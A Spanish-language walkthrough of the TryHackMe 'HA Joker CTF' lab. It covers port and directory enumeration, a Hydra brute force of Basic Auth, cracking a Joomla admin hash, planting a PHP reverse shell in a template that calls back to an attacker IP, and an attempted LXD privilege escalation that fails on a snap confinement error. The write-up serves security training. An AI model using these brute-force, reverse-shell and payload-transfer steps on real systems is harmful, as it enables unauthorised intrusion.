TryHackMe Medium Target IP: 10.128.165.11

Máquina HA Joker CTF

Resolución paso a paso de la máquina HA Joker CTF de TryHackMe, detallando la intrusión web en Joomla y el posterior escape de privilegios en el sistema Linux.

#Linux#Joomla#Hydra#John the Ripper#LXD#LXC#Snap#RCE

Fase 1: Reconocimiento (Escaneo de Puertos)

El primer paso es realizar un escaneo completo de puertos para mapear los servicios expuestos en el host objetivo.

Escaneo Completo de Nmap

Se ejecuta un escaneo completo de puertos TCP (-p-) determinando versiones (-sV) y scripts de reconocimiento básico (-A), con velocidad agresiva (-T5):

sudo nmap -sV -A -T5 -p- 10.128.165.11
Escaneo inicial de puertos de Nmap
Resultados del escaneo de Nmap sobre el objetivo 10.128.165.11

Resultados Clave de Nmap

El escaneo revela 3 puertos abiertos de interés:

  • Puerto 22 (SSH): Servidor OpenSSH 8.2p1 Ubuntu.
  • Puerto 80 (HTTP): Servidor web Apache httpd 2.4.41 (Ubuntu).
  • Puerto 8080 (HTTP): Servidor web Apache httpd 2.4.41 protegido por autenticación básica (Basic Auth, HTTP 401 Unauthorized).

[!NOTE] Es de suma importancia notar que la versión de Apache activa en el servidor es la 2.4.41 (Ubuntu) y no la 2.4.29 como se suele indicar erróneamente en otros writeups genéricos.


Fase 2: Enumeración Web (Puerto 80)

Procedemos a analizar la aplicación web que corre en el puerto 80.

Interfaz del Sitio

Al acceder a http://10.128.165.11/, nos encontramos con una página estática que muestra una ilustración del Joker.

Página de inicio en puerto 80
Interfaz web principal mostrando la cara del Joker

Inspección del Código Fuente

Revisando el código fuente de la página de inicio, se observan múltiples comentarios en formato HTML que muestran diálogos célebres de The Joker, además de referencias directas a imágenes en la carpeta /img/.

Código fuente de la página de inicio
Comentarios y referencias ocultas en el código HTML de index

Listado del Directorio de Imágenes

Al acceder a la ruta de recursos /img/, el servidor tiene habilitado el indexado de directorios, listando todas las imágenes del sitio:

Indexado del directorio img
Listado del directorio /img/ expuesto en el puerto 80

Búsqueda de Directorios con Gobuster

Se ejecuta un ataque de fuerza bruta de directorios en el servidor web del puerto 80 utilizando el diccionario common.txt y múltiples extensiones de archivo comunes (php,txt,bak,html,zip,sql,conf,old):

gobuster dir -u 10.128.165.11 -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak,html,zip,sql,conf,old
Comienzo del escaneo con Gobuster en puerto 80
Comando y parámetros iniciales de Gobuster en puerto 80

Tras avanzar el escaneo, se detecta el archivo secret.txt con un código HTTP 200 (OK):

Descubrimiento de secret.txt con Gobuster
Identificación del archivo secret.txt en la enumeración web

Análisis de secret.txt

Al inspeccionar http://10.128.165.11/secret.txt, encontramos un diálogo entre Batman y Joker donde se repite de manera sospechosa la palabra “rock” (haciendo una clara alusión al diccionario rockyou.txt) y se menciona un límite de “100 poor jokes”:

Contenido del archivo secret.txt
Mensaje en secret.txt con pistas para fuerza bruta

Fase 3: Fuerza Bruta en Puerto 8080 (Basic Auth)

El puerto 8080 exige autenticación básica mediante un cuadro de diálogo del navegador.

Diálogo de autenticación básica en puerto 8080
Requisito de Basic Auth en http://10.128.165.11:8080

Ataque con Hydra

Teniendo la pista del usuario joker y el uso potencial de rockyou.txt, se ejecuta un ataque de diccionario utilizando hydra para descifrar el acceso HTTP Basic Auth:

hydra -l joker -P /usr/share/wordlists/rockyou.txt http-get://10.128.165.11:8080
Fuerza bruta con Hydra
Hydra descifra con éxito las credenciales para joker
  • Usuario: joker
  • Contraseña: hannah

Fase 4: Enumeración de Joomla y Extracción de Backup (Puerto 8080)

Ya autenticados en el puerto 8080, realizamos un nuevo escaneo de directorios con gobuster proporcionando las credenciales válidas:

gobuster dir -u http://10.128.165.11:8080 -w /usr/share/wordlists/dirb/common.txt -U joker -P hannah
Configuración de Gobuster con credenciales en 8080
Gobuster apuntando al puerto 8080 con cabecera de autenticación

Directorios Encontrados

El escaneo revela la estructura típica de un gestor de contenidos Joomla, además de un directorio muy inusual llamado /backup:

Resultados de Gobuster en 8080
Directorios Joomla detectados, incluyendo /administrator/ y /backup

Descarga del Respaldo

Al acceder a http://10.128.165.11:8080/backup, el servidor web nos entrega un archivo de descarga llamado backup.zip.

Descarga de backup.zip
Proceso de descarga del archivo backup.zip

Al examinar su contenido, vemos que contiene la base de datos (db) y la estructura del sitio (site):

Contenido de backup.zip
Directorios db y site del sitio web dentro del backup

Descompresión y Hash del Zip

Intentar extraer el contenido del zip de manera directa nos pide una contraseña de cifrado. Usamos zip2john para extraer el hash y crackear el propio zip:

zip2john backup.zip > hash.txt
Extracción de hash del zip
Comando zip2john para el archivo comprimido protegido

[!TIP] No fue necesario procesar el hash con John the Ripper, ya que se probó la misma contraseña del Basic Auth (hannah) y esta permitió abrir el archivo comprimido.


Fase 5: Análisis de Base de Datos, Cracking de Hash y RCE

Dentro de la carpeta db del backup extraído, se localiza el archivo SQL de la base de datos: joomladb.sql.

Localización del Hash de Administrador

Filtramos la base de datos en busca del campo de los usuarios para extraer el hash bcrypt de la cuenta administrativa:

cat joomladb.sql | grep "user"
Filtro de usuarios en joomladb.sql
Búsqueda en el archivo SQL que localiza al usuario administrador

Se extrae el registro de inserción para el usuario administrador admin con el siguiente hash bcrypt de contraseña: $2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG

Descifrado con John the Ripper

Copiamos el hash en un archivo local hash_admin.txt y lo procesamos con john usando el diccionario rockyou.txt:

echo '$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG' > hash_admin.txt
john hash_admin.txt --wordlist=/usr/share/wordlists/rockyou.txt
Cracking del hash con John
John descifra exitosamente la contraseña de administración
  • Usuario: admin
  • Contraseña: abcd1234

Acceso a Joomla y RCE

Nos dirigimos a la interfaz de administración del CMS Joomla en http://10.128.165.11:8080/administrator/ e iniciamos sesión:

Panel de login de administración de Joomla
Inicio de sesión en Joomla con las credenciales admin:abcd1234

Una vez dentro del portal de administración de Joomla, accedemos al gestor de plantillas (Templates) y modificamos el archivo index.php de la plantilla activa beez3.

Sustituimos el código por un script de reverse shell en PHP de pentestmonkey configurado para conectarse a nuestra dirección IP atacante (192.168.149.112) en el puerto 9001:

Edición de plantilla index.php e intrusión con netcat
Inyección de reverse shell en la plantilla beez3 y recepción de la consola

Al guardar el archivo y navegar al index del sitio en el puerto 8080, el script se ejecuta y recibimos la sesión de shell inversa en Kali:

nc -lvnp 9001

[!IMPORTANT] Al recibir la shell y ejecutar el comando id para auditar permisos, se comprueba que el usuario www-data pertenece al grupo lxd (groups=33(www-data),115(lxd)), lo cual marca de inmediato la vía directa para una escalada de privilegios a través de contenedores.


Fase 6: Escalada de Privilegios e Incidencia en la Máquina

El grupo lxd permite crear contenedores con privilegios para montar el sistema de archivos raíz de la máquina víctima.

Preparación del Container Image

En nuestra máquina atacante clonamos la utilidad lxd-alpine-builder para generar una imagen comprimida de Alpine Linux y abrimos un servidor HTTP en el puerto 8000 para transferirla:

git clone https://github.com/saghul/lxd-alpine-builder.git
# (Se compila la imagen alpine y se sirve)
python3 -m http.server 8000

Desde la máquina víctima, nos posicionamos en el directorio temporal /tmp/ y descargamos recursivamente el builder:

wget -r -l 1 -np -nH --cut-dirs=1 192.168.149.112:8000/lxd-alpine-builder
Clonación y transferencia del lxd-alpine-builder
Servidor HTTP de Python y descarga del builder en /tmp

Error de Configuración de LXC / Snap (Incidencia de la Máquina)

Intentamos importar la imagen de Alpine en la base de datos de imágenes del daemon local ejecutando:

lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz

Sin embargo, el sistema bloquea inmediatamente la operación y retorna un error recurrente al intentar listar o importar imágenes:

Error de confinamiento del snap de LXC
Error al importar/listar imágenes con lxc debido a restricciones de snap
Sorry, home directories outside of /home needs configuration.
See https://forum.snapcraft.io/t/11209 for details.

Explicación del Error y Limitación

Este error se debe a una falla de configuración / limitación intrínseca de la máquina virtual (HA Joker CTF):

  1. El servicio lxd/lxc está instalado mediante paquetes Snap (snapd).
  2. La directiva de seguridad por defecto de Snap (AppArmor) confina la ejecución bloqueando todo acceso a archivos procedentes de usuarios cuyos directorios personales (Home Directories) no se encuentren bajo el prefijo /home/.
  3. El usuario bajo el que operamos es www-data, cuyo directorio principal de sistema está configurado en /var/www/ (el cual queda fuera del ámbito de /home/).
  4. Debido a este confinamiento de Snap, cualquier interacción del usuario www-data con comandos lxc resulta denegada por el kernel, impidiendo completar la importación de la imagen y, por ende, la escalada clásica de privilegios de LXD a menos que se reconfigure el servicio snapd o el usuario.